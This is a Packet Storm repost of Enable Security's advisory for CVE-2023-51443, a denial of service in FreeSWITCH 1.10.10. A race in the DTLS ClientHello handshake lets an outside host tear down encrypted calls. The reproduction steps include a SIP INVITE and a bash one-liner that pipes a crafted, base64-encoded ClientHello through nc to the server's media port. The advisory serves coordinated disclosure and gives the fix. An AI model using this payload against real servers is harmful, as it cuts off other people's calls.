exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeSWITCH 1.10.10 Denial Of Service

FreeSWITCH 1.10.10 Denial Of Service
Posted Dec 26, 2023
Authored by Sandro Gauci | Site enablesecurity.com

When handling DTLS-SRTP for media setup, FreeSWITCH version 1.10.10 is susceptible to denial of service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack.

tags | exploit, denial of service, protocol
advisories | CVE-2023-51443
SHA-256 | 42111d854609afb4221ff75af6db4e27c366baa1bf5886242bf637a8ab822f76

FreeSWITCH 1.10.10 Denial Of Service

Change Mirror Download
# FreeSWITCH susceptible to Denial of Service via DTLS Hello packets during call initiation

- Fixed versions: 1.10.11
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-02-freeswitch-dtls-hello-race
- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-39gv-hq72-j6m6
- Other references: CVE-2023-51443
- Tested vulnerable versions: 1.10.10
- Timeline:
- Report date: 2023-09-27
- Triaged: 2023-09-27
- Fix provided for testing: 2023-09-29
- Vendor release with fix: 2023-12-22
- Enable Security advisory: 2023-12-22

## TL;DR

When handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too.

This behavior was tested against FreeSWITCH version 1.10.10, which was found to be vulnerable to this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving SIP and DTLS messages between a UAC (the Caller) and an FreeSWITCH server capable of handling WebRTC calls.

Diagram showing a call setup against FreeSWITCH that uses SIP and DTLS:
https://user-images.githubusercontent.com/4557407/271063734-85425e09-6945-49b1-ba73-751b6d592ea4.png

In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to FreeSWITCH's media port from a different IP and port, FreeSWITCH responded by sending a DTLS Alert to the Caller. Additionally, FreeSWITCH terminated the SIP call by sending a BYE message to the Caller.

Diagram showing a call setup against FreeSWITCH that fails due to an attacker controlled DTLS ClientHello:
https://user-images.githubusercontent.com/4557407/271064011-032f9a0e-15af-4645-b008-1fe8b706d75e.png

During a real attack, the attacker would spray a vulnerable FreeSWITCH server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service.


## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP.

## How to reproduce the issue

1. Prepare a FreeSWITCH server with an extension configured to handle WebRTC
1. Send an INVITE message to the target server with WebRTC SDP:

```default
INVITE sip:1000@192.168.1.202 SIP/2.0
Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ
Max-Forwards: 70
From: <sip:1000@192.168.1.202>;tag=L9kc5NfpYG1u67cT
To: <sip:1000@192.168.1.202>
Contact: <sip:1000@192.168.1.202>
Call-ID: DzGnBLt0z9SK3MC0
CSeq: 5 INVITE
Content-Type: application/sdp
Content-Length: 385

v=0
o=- 1695296331 1695296331 IN IP4 192.168.1.202
s=-
t=0 0
c=IN IP4 192.168.1.202
m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101
a=setup:active
a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:101 telephone-event/8000
a=rtcp-mux
a=rtcprsize
a=sendrecv
```
1. Note FreeSWITCH's media port and IP values, which will be used as the `<freeswitch-ip>` and `<media-port>` parameters by the Attacker
1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the FreeSWITCH server

```bash
CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA"
CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <freeswitch-ip> <media-port>
```
1. Observe that the Caller received a DTLS Alert message and a SIP BYE message on its signaling channel

Note that the above steps are used to reliably reproduce the vulnerability. In case of a real attack, the attacker simply has to spray the FreeSWITCH server with DTLS messages.

## Solution and recommendations

To address this vulnerability, upgrade FreeSWITCH to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764

--

Sandro Gauci, CEO at Enable Security GmbH

Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Neuburger Stra├če 101 b, 94036 Passau, Germany
RTCSec Newsletter: https://www.rtcsec.com/subscribe
Our blog: https://www.rtcsec.com
Other points of contact: https://www.enablesecurity.com/contact/

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close